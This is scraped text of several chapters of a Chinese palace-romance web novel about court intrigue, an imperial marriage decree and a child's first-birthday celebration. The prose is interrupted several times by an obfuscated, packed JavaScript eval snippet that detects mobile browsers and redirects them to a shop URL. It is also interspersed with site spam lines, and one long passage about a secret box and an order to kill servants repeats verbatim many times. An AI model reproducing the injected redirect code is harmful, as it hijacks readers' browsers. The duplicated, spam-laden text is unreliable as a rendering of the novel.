书房内,长公主坐在软榻上,眼底的怒火依旧未消,她当然猜得出这是谁搞的手脚。 随即,长公主轻蔑地笑了笑,低声自言自语:“也不过是这些小把戏罢了。” 长公主忽而想到了陶生,招手叫人吩咐道:“去,把陶生唤来。” 侍女应声而去,不多时进来回禀:“殿下,陶生他昨夜一夜未归。” 长公主眉峰微蹙:“未归?” “是。他的随从阿良被人打晕在后巷,天快亮才醒转,问他什么,只吓得浑身发抖,说什么都不记得,什么都不知道……” 殿内一时死寂。 长公主缓缓放下茶盏,瓷底与桌面轻磕一声,清响刺耳。 一股淡淡的不安,自心底悄无声息地蔓延上来。 苗菁……好大的胆子。 难不成,他竟真敢对她的人下手? 与此同时,长宜宫内。 苗菁正垂手立在御前,一字一句,将青州一行调查的始末,清晰详尽地禀奏给姜玄。 原来那处刻字的石头,果然是康王余党作乱,苗菁已经带人查清,并将人逮捕了。 除此之外,苗菁在青州还查到,有传言康王留有子嗣,原是王府中一个丫鬟,被康王酒后临幸,有了身孕后也不得康王欢心,被打发到庄子里养着。 康王事败后,那个丫鬟听到风声,带着孩子跑了 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 ,那孩子今年已经三岁了。 姜玄蹙眉:“此事可当真?” 苗菁道:“康王已死,这孩子就不能是他的孩子,也没有证据能支持。不过,臣已经安排人跟踪那对母子了,只能皇上示下。” 姜玄沉默了片刻,低声道:“此事你想法子让宋家人知道,但不能让他们察觉是你让人指使的。” 苗菁听完称是,他并不会追问皇帝为何要这么做,皇帝这么安排,自然有他的道理。 姜玄赞许道:“蔚然,有你在锦衣卫,朕省心不少。” 赞罢,话锋微转,语气沉了些许:“你府上郭氏这桩案子近来沸沸扬扬,究竟是怎么回事?” 苗菁垂在身侧的手几不可查地一紧,他平静道:“回陛下,案子已经查清,是有人故意构陷郭氏,意图毁了她。” 姜玄问道:“是谁?” 他记得苗菁说过,郭氏是个孤女,且性格十分和顺,按理来说,这样的女子,应当不会得罪什么人,费这么大的心思来对付她。 “是长公主。” 苗菁这个答案一出,姜玄眉头骤然蹙起,意外道:“长公主?她为何要无端针对郭氏?” 他下意识反问,话音刚落,目光落在苗菁那张英挺俊朗、棱角分明的脸上,再联想到长公主平素在京中风评,以及之前长公主询问苗菁婚姻之事—— 姜玄的诧异瞬间化作了然。他轻叹一声,语气带着无奈:“蔚然,此事确是晖善的理亏。只是眼下这事不宜大张旗鼓声张,否则……反倒会再将郭氏推到风口浪尖,叫她不得安宁。” 他顿了顿,安抚道:“朕会寻别的由头,敲打惩戒晖善一番。此事,你便先放下吧。” 苗菁清楚,陛下如今尚有需要倚重长公主之处,不会轻易与她撕破脸。 而他原本的打算,本就是徐徐图之。 以长公主那等骄横跋扈、不留余地的性子,覆灭,不过是早晚之事。 但这并不妨碍,他先替自己,替晓芸,讨一点利息。 苗菁微微低下头,素来冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227484|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 硬的线条柔和几分,语气里掺了几分不易察觉的委屈与涩意: “臣明白。长公主金尊玉贵,她若抬眼瞧得上臣,原是臣的荣幸。可一来,臣心中早已只有郭氏,再容不下旁人;二来,臣执掌锦衣卫,是陛下手里的刀,又怎敢与公主过从甚密?这些日子,公主屡次相逼,臣皆是一忍再忍。” “可这一次……她实在太过了。” “害得郭氏名声尽毁,蒙冤入狱,吃了那么多苦,受 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 了那么多罪……臣见她整个人都瘦脱了形……实在心疼得厉害。” 这番话,不卑不亢,有情有理,句句戳心。 姜玄听得默然,叹息道:“郭氏……的确是受了大委屈。” 他沉吟片刻:“朕原本想着,赐她一块匾额,以示安抚。可细想之下,这般反倒会将她与徐家绑得更紧,徒增是非,将来你与她成亲,她与徐家那段事,反倒因为这块御赐牌匾被人挂在嘴上。” “不如,朕多赏她些金银之物,这是实际的好处,你看如何?” 君言至此,已是体恤。苗菁哪里还能说半个不字,当即躬身:“臣……替郭氏,谢陛下恩典。” 谢罢,他深吸一口气,抬眸,语气坚定道: “陛下,臣还有一事,恳请陛下恩准。臣……想请陛下,赐婚。臣今年已二十有三,早到婚配之年,也不想再拖了。” 他心中清楚,陛下顾虑不无道理。此刻赐婚,必会引来满城风雨,流言蜚语。可有些事,拖得越久,变数越多。 与其任由旁人反复嚼舌根、或者再次暗中构陷,倒不如一次性摊在阳光底下,让天下人议论够。 等新的热闹盖过旧闻,那些闲言碎语,自然也就淡了。 姜玄看了他一眼,似是看穿他心中所想,淡淡开口: “你当真不怕,被天下人放在口舌上议论?” 苗菁迎上帝王目光,一字一句,清晰有力: “臣——不怕。” 姜玄忽而笑了,赞许地看着苗菁,点了点头道:“既如此,朕便如了你的意,过几日便让人上门赐婚。” 姜玄话音落,苗菁眼底压抑许久的欢喜与期待,再也藏不住。素来冷肃的一张脸,竟在此刻绽开一抹耀眼的笑。 第275章 放心 过了几日,宫中果然降下明旨,赐婚于苗菁和郭晓芸,另又赏赐了金银绸缎、珠宝玉器若干,以示天恩浩荡。 旨意一颁,京中瞬间又炸开了锅。 前阵子那场官司、街头巷尾传唱的戏曲本就余波未平,如今一道御赐婚旨,登时将早已淡去的风波又重新掀了起来,茶楼酒肆、街头巷尾,处处都在议论这桩惊世骇俗的婚事。 “哎呦喂,怪不得徐家去告呢,你瞧瞧着,孤男寡女住一起,这不就住出感情来了。” “无风不起浪,这么看,徐家说的也未必就真是假的。” “这郭氏运气还真好,前头那个徐举人对她这么好,成了寡妇还能嫁给苗大人,真真是好运气。” “你懂什么,你没去衙门瞧,那郭氏生得我见犹怜,哪个男人瞧了能不动心?” “这种女人最是刮骨的刀,那徐举人说不得就是被她缠得身子弱了,这才没了,嘿嘿……” …… 风言风语不断,苗菁让人紧闭家门,不要影响到郭晓芸。 但郭晓芸心知肚明,这桩赐婚必定会惹人非议,她还是忍不住让荷花去外头打听了一下。 荷花回来后,尽量挑着不那么难听的同郭晓芸说了,即便这样,郭晓芸心头还是难免惴惴。 苗菁却半点不在意,只轻轻握着她的手,温声安抚: “别放在心上,这些口舌风波,来得快去得也快。等再过些时日,有了新的热闹,自然就没人再记得这些了。” 他语气笃定,眼神温柔,叫她不安的心一点点安定下来。 爹俄日,薛嘉言特意登带着礼物门贺喜。 进了内室,一见到郭晓芸眉宇间那抹挥之不去的轻愁,薛嘉言便已了然,笑着拉过她的手,柔声宽慰。 “外人那几句闲言碎语,有什么好怕的?日子终究是你自己过的,你过得舒坦、过得安稳,比什么都强。” 薛嘉言语气笃定道:“你以为他们真在鄙夷你?不过是嘴上说说罢了,心里头指不定多羡慕你。苗大人年少有为,手握重权,模样又生得那般俊朗英挺,这般人物,多少女子求都求不来。他们说来说去,不过是羡慕你、忮忌你罢了。” 郭晓芸静静听着,心头郁结的浊气渐渐散开,脸色也缓和了不少。 见她神色松动,薛嘉言又笑着补了一句:“再说了,你也是听丫鬟们转述,只要没人敢当着你的面嚼舌根,你便权当没听见。若真有不长眼的敢撞上来,你只管把苗大人搬出来——我就不信,这京城里,还 你的朋友正在书荒,快去帮帮他吧 有几个不怕他的。” 郭晓芸望着眼前洒脱通透的薛嘉言,只当她是这两年家中接连遭遇变故,被旁人的闲言碎语磨得麻木了,才练就这般百毒不侵的心境。 她哪里会知道,眼前这女子看似随口道出的豁达与清醒,根本不是一朝一夕看开,而是两世为人、用血与泪换来的刻骨教训。 从苗府告辞出来,薛嘉言便吩咐车夫驱车回府,接了母亲吕氏一同往枫林苑去。 今日是她与姜玄约好,一同探望阿满的日子。姜玄上午需上朝理政,寻常总要午后才得空过来。 临行前,薛嘉言早已为甄太妃备下时新果子、精致点心,又将自己亲手缝制的一件素色道袍仔细包好。 吕氏路上听女儿细细说了甄太妃的身世与过往,先是惊得半晌无言,随即又满心敬佩——这般身处深宫、历经风波却仍能安然自持的女子,实在难得。 不多时,车马便到了枫林苑。 因时辰尚早,姜玄还未到,母女二人便先入内陪着甄太妃说话。 薛嘉言本还担心母亲拘谨,没料到两人竟是一见如故。吕氏性子温和,甄太妃历经世事、谈吐从容,三言两语便聊得热络投机,从家常琐事到佛前静心,竟有说不完的话。 约莫一个时辰后,院外传来熟悉的脚步声。 姜玄一身常服,亲自抱着阿满走了进来。 吕氏这是第一次近距离面见天子,心头一紧,当即就要屈膝行跪拜大礼。 刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227485|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一俯身,便被姜玄温和扶住。 他笑意浅淡,语气亲近:“夫人不必多礼,在家便不讲朝堂那套君臣规矩。此处您是长辈,我是晚辈,哪有长辈给晚辈行礼的道理。” 吕氏心中惶恐不安,甄太妃在一旁笑着打圆场:“你便听栖真的,他素来实心,说不必拘礼,便是真的不必拘礼。阿满呢?快抱来给我们瞧瞧。” 阿满已近一岁,生得玉雪可爱,眉眼鼻梁,越长大越像姜玄,眉目清俊,一看便是个有福的模样。 或许是血脉天性,吕氏刚一伸手,小家伙便立刻伸出两段藕节似的小胳膊,一把攥住她的手指,咿咿呀呀地笑,软乎乎的声音听得人心头发软。 吕氏小心翼翼将孩子抱在怀里,一声声“心肝肉”地唤着,脸上笑得温柔,眼眶却不知不觉红了,泪光盈盈。 薛嘉言也有些日子没见阿满了,心痒得厉害。等母亲抱够了,她才轻轻接过孩子,将小脸贴在他柔软的发间,满足地亲了又亲。 姜玄凑过来,指尖轻轻点了点阿满圆润的小脸蛋,低声诱哄:“阿满,叫娘。” 阿满乌溜溜的大眼睛一瞬不瞬望着薛嘉言,小嘴一张,竟真的含糊地喊出一声: “娘……” 薛嘉言猛地一怔,随即眼眶湿润。她紧紧抱着阿满,一遍又一遍地亲着他的小额头、小脸蛋。 姜玄站在一旁,看着母子亲昵,眼底也漾起浅淡笑意,欣慰道: “好小子,总算没白疼你。教了你两日,今儿才算叫得最清楚。” 这时丫鬟端了一碟子刚切好的蜜瓜上来,姜玄拿起银叉叉了一块,却不是放进自己嘴里,而是递给了薛嘉言。 薛嘉言自然地接过来吃了,赞了一句:“好甜,你也吃。” 吕氏在旁看着,不觉放下心来。 她原以为女儿同九五至尊有私情,必定是伏低做小侍奉皇帝,才能换来这一点恩宠。 可今日她看到两人之间的互动,却如寻常夫妻一般温馨,加之两人有了阿满,想来皇帝将来总不会亏待嘉嘉的。 第276章 藏着秘密的匣子 枫林苑内一派其乐融融,长乐宫中却是另一番光景。 沁芳垂手立在太后身侧,低声回禀:“娘娘,皇上今日带着大皇子往枫林苑去了。” 太后正捻着一串佛珠,闻言淡淡颔首,语气听不出喜怒:“他倒也算孝顺,晓得带着孩子去太妃跟前承欢膝下。” 沁芳迟疑了一瞬,还是轻声补了一句:“……薛氏,也一同去了。” 太后指尖一顿,随即嗤笑一声,语气里带着几分冷意:“还是栖真会盘算。一边孝顺了太妃,一边,也遂了自己的心思。” 笑罢,她眉头骤然蹙起,声音压得低了些:“静仪进宫也有些日子了,他不去亲近我宋家的姑娘,反倒日日记挂着那个寡妇。难道我宋家的女儿,竟还比不过那薛氏?” 沁芳吓得垂首屏息,正不知该如何应对,太后已然沉声道: “去,把静妃叫来。哀家有话要问她。” “是。” 沁芳应声退下,刚吩咐宫人往钟粹宫去请静妃,殿外便匆匆闯进来一个小太监,急声道:“沁芳姑姑!长寿宫那边出了点小事,慧心姐姐请您立刻过去一趟!” 沁芳心头一紧。 长寿宫是先帝元后宋玉华生前居住的宫殿。自元后病逝,如今的太后宋雅章入宫之后,不愿旁人再沾那座宫殿,也不肯自己搬进去住,只对外宣称缅怀元后,将整座长寿宫彻底封存,只留几个稳妥宫人定时进去洒扫除尘,不许任何人随意出入。 此刻忽然出事,沁芳不敢耽搁,连忙交代了几句,便匆匆赶去。 另一边,宫人一路疾行至钟粹宫,请了静妃宋静仪。 约莫一刻钟后,静妃一身淡雅宫装,缓步踏入长乐宫,规规矩矩屈膝行礼:“臣妾参见太后娘娘。” “起来吧。”太后淡淡开口。 宋静仪依言起身,在一旁铺着锦垫的圈椅上轻轻落座,姿态恭谨温顺。 太后抬眸看她,开门见山:“静妃,你入宫也有些时日了。你且说实话,你与皇上之间,究竟如何?” 静妃垂眸,声音平静温婉:“启禀太后娘娘,臣妾与皇上性情相投,琴瑟和鸣,相处甚是融洽。” 在宋静仪心里,这话并不算虚言。 皇上虽不常来,可每回驾临钟粹宫,都愿与她坐下来谈书论史、说经解义,两人言语投机,相处得十分自在。 谁说琴瑟和鸣,便一定是夫妻间的缠绵?知己之交,难道不算吗? 太后却不吃这套,眉峰一蹙,语气沉了几分:“可哀家怎 么听说,除了入宫第一晚之外,皇上便再也没有留宿过钟粹宫?” 宋静仪依旧镇定,从容回道:“启禀娘娘,皇上素来择床,第一晚在钟粹宫便睡得不安稳,是以之后便不再留宿了。” 太后听了,眼底飞快掠过一丝疑虑。 择床? 姜玄从前好像并无这个毛病啊? 就在殿内气氛凝滞之时,沁芳脚步匆匆进来,脸上神色有些异样。 太后只一眼便瞧出这是有事,她当即对静妃摆了摆手,语气淡冷道:“行了,你先退下吧。” “是,臣妾告退。” 宋静仪依礼屈膝一礼,退了出去。 待殿内伺候的宫人尽数被沁芳屏退,四下再无旁人,沁芳才敢从袖中郑重取出一物。 那是一只尺许长短、紫檀木雕花的精致小匣,纹路古朴,一看便知是旧物。 “娘娘,”沁芳声音压得极低,“今日慧心领着宫人去长寿宫例行打扫,先皇后昔日寝殿的地面,不知何时松脱了一块青砖。慧心原本打算唤工匠来修缮,谁知挪开砖块,底下竟藏着一处暗格,这匣子,便是从那暗格中取出来的。” 沁芳双手捧着匣子,恭敬递到太后面前。 “慧心不敢擅自做主,连忙让人唤了奴才过去。奴才打开外层木匣一看,里面还压着一张字条。” 沁芳话音未落,太后已经伸手掀开了匣盖。 匣内果然平铺着一张素色笺纸,墨迹端庄秀雅,正是元后宋玉华亲笔,上面只写着一行字: “唯宋家为后者方可打开。” 太后眉峰骤然拧紧,指尖将笺纸轻轻揭起。 原来下方还藏着一只更小的银匣,周身无匙孔、无卡扣,只正面嵌着一具精巧至极的璇玑星盘锁。锁面由铜铸成,刻着北斗七星、二十八宿与十二时辰,需拨转至准确方位才能开启。 太后深吸一口气,指腹抚过冰凉的星盘。 她先试着转动锁盘,对准姑母宋玉华的生辰年月,机关纹丝不动。 又试了先帝生辰之日、早夭的太子姜穆的生辰之日,一连数次,锁舌都没有半点动静。 太后缓缓闭上眼,一幕幕与姑母相处的画面在脑海中翻涌。 宋玉华这一生,心底最不肯放下的,从来不是情爱,而是宋家的门楣,宋家的荣耀和兴旺。 而姑母这一生,最光耀、最让宋家抬首挺胸的时刻,便是她入主中宫,册立为后。 那一日,不仅是她一人之尊,更是宋家满门的荣光起点。 太后指尖微颤,缓缓转动星盘,对准了姑母正式册立为元后、入主中宫之日的那一年。 “咔哒。” 一声极轻、极脆的轻响。 璇玑锁,开了。 太后心脏骤然狂跳,几乎要撞出胸腔。她轻轻掀开银匣,只见里面静静躺着一卷只有拇指粗细的卷轴。 她深吸一口气,一点点将卷轴展开。 只一眼,太后素来沉稳端严的面容骤然僵住,血色一点点褪去,只剩下极致的震惊与难以置信。 沁芳侍立在旁,大气不敢出。 她伺候太后十几年,从未见过太后露出这般神色。 “啪嗒——” 太后猛地合上匣子,再紧紧地抓牢,指节因用力而泛白。 她闭了闭眼,再睁开时,眼底所有惊涛骇浪都已压成一片冷硬。 太后声音低沉,不带半分情绪:“此事,有几个人知道?” 沁芳连忙垂首:“回娘娘,只有当日在长寿宫寝殿打扫的几名宫人,约莫五六人。” 太后面无表情,眸色冷如寒冰,一字一顿,轻描淡写,却带着彻骨杀意: “全杀了。” 沁芳浑身一震,瞬间明白这匣中之物,是足以倾覆宋家、动摇朝局的惊天秘辛。 她不敢多言,更不敢求情,只颤声应了一句“是”,转身匆匆退下安排。 太后指尖微颤,缓缓转动星盘,对准了姑母正式册立为元后、入主中宫之日的那一年。 “咔哒。” 一声极轻、极脆的轻响。 璇玑锁,开了。 太后心脏骤然狂跳,几乎要撞出胸腔。她轻轻掀开银匣,只见里面静静躺着一卷只有拇指粗细的卷轴。 她深吸一口气,一点点将卷轴展开。 只一眼,太后素来沉稳端严的面容骤然僵住,血色一点点褪去,只剩下极致的震惊与难以置信。 沁芳侍立在旁,大气不敢出。 她伺候太后十几年,从未见过太后露出这般神色。 “啪嗒——” 太后猛地合上匣子,再紧紧地抓牢,指节因用力而泛白。 她闭了闭眼,再睁开时,眼底所有惊涛骇浪都已压成一片冷硬。 太后声音低沉,不带半分情绪:“此事,有几个人知道?” 沁芳连忙垂首:“回娘娘,只有当日在长寿宫寝殿打扫的几名宫人,约莫五六人。” 太后面无表情,眸色冷如寒冰,一字一顿,轻描淡写,却带着彻骨杀意: “全杀了。” 沁芳浑身一震,瞬间明白这匣中之物,是足以倾覆宋家、动摇朝局的惊天秘辛。 她不敢多言,更不敢求情,只颤声应了一句“是”,转身匆匆退下安排。 太后指尖微颤,缓缓转动星盘,对准了姑母正式册立为元后、入主中宫之日的那一年。 “咔哒。” 一声极轻、极脆的轻响。 璇玑锁,开了。 太后心脏骤然狂跳,几乎要撞出胸腔。她轻轻掀开银匣,只见里面静静躺着一卷只有拇指粗细的卷轴。 她深吸一口气,一点点将卷轴展开。 只一眼,太后素来沉稳端严的面容骤然僵住,血色一点点褪去,只剩下极致的震惊与难以置信。 沁芳侍立在旁,大气不敢出。 她伺候太后十几年,从未见过太后露出这般神色。 “啪嗒——” 太后猛地合上匣子,再紧紧地抓牢,指节因用力而泛白。 她闭了闭眼,再睁开时,眼底所有惊涛骇浪都已压成一片冷硬。 太后声音低沉,不带半分情绪:“此事,有几个人知道?” 沁芳连忙垂首:“回娘娘,只有当日在长寿宫寝殿打扫的几名宫人,约莫五六人。” 太后面无表情,眸色冷如寒冰,一字一顿,轻描淡写,却带着彻骨杀意: “全杀了。” 沁芳浑身一震,瞬间明白这匣中之物,是足以倾覆宋家、动摇朝局的惊天秘辛。 她不敢多言,更不敢求情,只颤声应了一句“是”,转身匆匆退下安排。 太后指尖微颤,缓缓转动星盘,对准了姑母正式册立为元后、入主中宫之日的那一年。 “咔哒。” 一声极轻、极脆的轻响。 璇玑锁,开了。 太后心脏骤然狂跳,几乎要撞出胸腔。她轻轻掀开银匣,只见里面静静躺着一卷只有拇指粗细的卷轴。 她深吸一口气,一点点将卷轴展开。 只一眼,太后素来沉稳端严的面容骤然僵住,血色一点点褪去,只剩下极致的震惊与难以置信。 沁芳侍立在旁,大气不敢出。 她伺候太后十几年,从未见过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一声极轻、极脆的轻响。 璇玑锁,开了。 太后心脏骤然狂跳,几乎要撞出胸腔。她轻轻掀开银匣,只见里面静静躺着一卷只有拇指粗细的卷轴。 她深吸一口气,一点点将卷轴展开。 只一眼,太后素来沉稳端严的面容骤然僵住,血色一点点褪去,只剩下极致的震惊与难以置信。 沁芳侍立在旁,大气不敢出。 她伺候太后十几年,从未见过太后露出这般神色。 “啪嗒——” 太后猛地合上匣子,再紧紧地抓牢,指节因用力而泛白。 她闭了闭眼,再睁开时,眼底所有惊涛骇浪都已压成一片冷硬。 太后声音低沉,不带半分情绪:“此事,有几个人知道?” 沁芳连忙垂首:“回娘娘,只有当日在长寿宫寝殿打扫的几名宫人,约莫五六人。” 太后面无表情,眸色冷如寒冰,一字一顿,轻描淡写,却带着彻骨杀意: “全杀了。” 沁芳浑身一震,瞬间明白这匣中之物,是足以倾覆宋家、动摇朝局的惊天秘辛。 她不敢多言,更不敢求情,只颤声应了一句“是”,转身匆匆退下安排。 太后指尖微颤,缓缓转动星盘,对准了姑母正式册立为元后、入主中宫之日的那一年。 “咔哒。” 一声极轻、极脆的轻响。 璇玑锁,开了。 太后心脏骤然狂跳,几乎要撞出胸腔。她轻轻掀开银匣,只见里面静静躺着一卷只有拇指粗细的卷轴。 她深吸一口气,一点点将卷轴展开。 只一眼,太后素来沉稳端严的面容骤然僵住,血色一点点褪去,只剩下极致的震惊与难以置信。 沁芳侍立在旁,大气不敢出。 她伺候太后十几年,从未见过太后露出这般神色。 “啪嗒——” 太后猛地合上匣子,再紧紧地抓牢,指节因用力而泛白。 她闭了闭眼,再睁开时,眼底所有惊涛骇浪都已压成一片冷硬。 太后声音低沉,不带半分情绪:“此事,有几个人知道?” 沁芳连忙垂首:“回娘娘,只有当日在长寿宫寝殿打扫的几名宫人,约莫五六人。” 太后面无表情,眸色冷如寒冰,一字一顿,轻描淡写,却带着彻骨杀意: “全杀了。” 沁芳浑身一震,瞬间明白这匣中之物,是足以倾覆宋家、动摇朝局的惊天秘辛。 她不敢多言,更不敢求情,只颤声应了一句“是”,转身匆匆退下安排。 第277章 申饬 赐婚圣旨颁下的第二日宫里便又紧跟着传出一道旨意向了长公主府。 旨意措辞严厉毫不留情:斥长公主府第逾制近年擅自扩修后园侵夺官道三尺坏朝廷规制犯祖宗成法。着令即刻将侵占之地尽数拆毁复归旧貌;另禁足公主府一月闭门思过自省其失;再罚俸一年以儆效尤。 传旨太监走后长公主僵立在殿中指尖死死攥着旨意卷轴美艳的脸上阴沉得能滴出水来。 她这后园扩建筹划已有一年之久眼看便要落成如今一句“尽数拆毁”心血一朝付诸流水。 她心中再清楚不过这分明是皇帝为苗菁出头敲打她呢。 长公主又气又恨胸口剧烈起伏。 她没想到皇帝竟会这样落她面子还是为了一个臣子。 长公主本欲立刻更衣进宫当面向皇帝申辩可旨意写着“禁足一月”纵有满腔怒火与不甘也只能硬生生憋在腹中。 她狠狠将旨意摔在案上眼底冷光翻涌只将这笔账死死记在心里。 今日之辱她迟早要连本带利地讨回来。 转眼便到了六月京中渐渐燥热起来阿满的周岁生辰也一日日近了。 薛嘉言心里细细盘算着想给儿子好好办一场周岁礼不求铺张热闹只盼着一家人团团圆圆让孩子热热闹闹地抓个周。 姜玄将她的心思瞧得一清二楚便细细谋划起来。 离阿满生辰还有几日姜玄便以今夏酷暑异常、身体违和为由下旨前往西山行宫避暑休养。旨意里明言朝中日常奏章由内阁六部处置紧要奏章由专人快马送往行宫他批阅完毕当日便发回京城绝不耽误朝政。 姜玄自登基以来夙兴夜寐、勤勉不辍从未主动提过休息半日。这是头一回开口要休养朝臣们即便心有揣测也无人敢出言阻拦纷纷上疏表态定会各司其职、稳住朝局请皇帝安心静养。 一应事务安排妥当姜玄便先一步带着阿满往西山行宫去了。 薛嘉言在家中细细收拾早早备下了一整套抓周的物件——笔墨纸砚、经书小册、算盘、木刀、玉佩、绸缎、小弓、书卷样样齐全。 她心里想着若是只有她与姜玄两人未免太过冷清 张鸿宝得了皇帝口谕回道:想带谁便带谁只管安心前往行宫。 这日一早薛嘉言便带着家人押着一车应用之物 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 往西山行宫而来。 到了行宫门前,竟正巧遇上了甄太妃。吕氏连忙上前见礼,两人本就投缘,吕氏平日里时常往枫林苑走动探望,早已成了无话不谈的好友,此刻见了面,便站在一旁低声说笑,气氛十分融洽。 薛嘉言先进内殿去见姜玄与阿满。不过几日未见,阿满又机灵了几分,眉眼越长越像姜玄,一见她进门,立刻伸着小手扑过来,口齿不清地喊着“娘”。 薛嘉言一颗心瞬间软得一塌糊涂,连忙将儿子抱进怀里,亲了又亲,欢喜得说不出话。 她正与姜玄低声说着路上的情形,甘松轻步进来禀报:苗大人与郭氏已经到了,正在朝这边走来。 薛嘉言微微一怔,有些意外。 姜玄道:“你不是说,抓周人少了不热闹?我便让蔚然带着郭氏一道来了。蔚然本就知晓咱们的事,不必避讳;郭晓芸与你交好,性子又沉稳,叫她一起来热闹热闹,也无妨。” 话音刚落,殿外便传来脚步声。 苗菁一身常服,携着郭晓芸缓步走入,两人上前恭敬行礼,举止得体有度。 薛嘉言心中尚有几分不好意思,可抬眼看向郭晓芸,却见她神色平静温和,面上半点异样都无,仿佛只当是一场寻常的亲友小聚,既不探究,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233037|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不惊异。 见她这般从容坦荡,薛嘉言心头那点局促不安,也渐渐松了下来。 姜玄带着苗菁往书房去商议事情,殿内一时清静下来,只剩下薛嘉言、郭晓芸,还有在一旁玩闹的阿满。 四下再无外人,郭晓芸紧绷了一路的神色终于松了开来,眼眶一红,声音都带着颤:“你怎么瞒了我这么久……薛妹妹,你这两年,实在太不容易了。” 薛嘉言见她语气哽咽,心头一暖,反倒笑着轻声安抚:“没事的,都过去了。之前也不是有心瞒着你,总不是什么光彩的事情……” 郭晓芸咬着唇,又心疼又替她不平,语气里带着几分怒意,“戚少亭真不是东西,他做下的那些龌龊事,便千刀万剐也不为过。我从前竟半点都不知,你受了这么多委屈,竟一个人扛着,也不肯同我说……” 她越想越替薛嘉言难受,说着说着,声音便哽住了,眼底泛起水光。 薛嘉言轻轻拍了拍她的手背,不愿再提那些沉郁旧事,笑着将怀里的阿满往她面前送了送,柔声道:“都过去了,不提也罢。你瞧瞧这孩子,生得更像我,还是更像皇上?” 郭晓芸方才在皇帝面前不敢多看,只瞧了个大概。此刻细细打量阿满,只见那眉眼鼻梁、神情气度,几乎与姜玄是一个模子刻出来的,当即轻声道:“瞧着,是像皇上多一些。这孩子眉眼周正,不管像谁,都是个有福气的。” 她素来喜爱孩子,之前徐维身子孱弱,两人虽恩爱,终究没能留下一儿半女,此刻看着阿满白白胖胖、灵动可爱,一颗心顿时软了,伸手轻轻逗弄着,眼底满是温柔。 薛嘉言看着她模样,笑着转了话题:“苗大人不是正在筹备婚事吗?你们定下什么时候成亲了?” 郭晓芸闻言,脸颊瞬间染上一层浅红,垂着眼帘,嗫嚅着吐出两个字:“十月。” 第278章 交心 薛嘉言忍不住轻笑出声语气里带着几分打趣:“苗大人平日里那般急脾气忍到十月已是不易半年时间筹措婚事够吗?” 寻常人家婚嫁纳采、问名、纳征、请期一套流程走下来少则一年多则两三年都不算稀奇。 郭晓芸轻声道:“我与他都没了至亲两个无依无靠的人万事从简便好不必那般铺张半年足够了。” 薛嘉言想起两人的年纪与经历笑得更柔故意逗她:“也是你们正当好年华早些成亲早些安稳明年啊我便能等着抱外甥了。” 郭晓芸被她这一句说得脸颊发烫红得像是染了胭脂垂着头连耳根都透着羞意一句话也接不上来只低头逗着阿满掩饰满心的羞涩。 这天夜里西山行宫内外灯火温软殿中摆了一桌精致酒菜没有繁文缛节不分君臣尊卑只像寻常亲友团聚。一桌子人笑语温和气氛融洽。 饭后夜色渐深一轮明月高悬天际清辉洒满行宫庭院。 姜玄浅饮了几杯酒已是微醺却半点睡意也无起身轻轻牵住薛嘉言的手一同往花园里散步。 月下树影婆娑晚风带着夏夜的清凉拂在人身上十分惬意。两人牵着手慢慢走一路无话只听着风声、虫鸣。 走了片刻两人到了池边一张藤椅上并肩坐下一同仰头望着天上那轮皎洁明月凑在一处喁喁细语。 姜玄先开了口声音里带着些歉疚: “言言你……恨我吗?若当初我拒绝了张鸿宝的安排或许你这一生不必受这么多波折。” 薛嘉言轻轻叹了一声目光柔柔软软地落在他脸上:“栖真你难道还瞧不出戚少亭那颗满是富贵权势的心吗?就算你当时回绝了他为了攀附权贵说不准还会做出什么更伤害我的事。” 说到这里她微微偏过头轻轻靠在姜玄肩头声音低得像梦呓: “其实……也幸亏是你。这世上怕是再没有第二个人会像你这样珍爱我了。” 姜玄心口一紧下意识握紧她的手语气无奈道:“可我终究做得还不够好。到现在都没能给你一个正经名分。” 薛嘉言轻轻摇头 “名分这些我从来都不在乎。我只是一想到阿满心里就难受。他现在还小懵懵懂懂肯甜甜地叫我一声娘。可等他再大一些懂事了我们要怎么跟他解释这一切?我好怕……好怕将来他长大了会以我为耻。” 姜玄 听说看这本书的人都是很幸运的,分享后你的运气会更棒 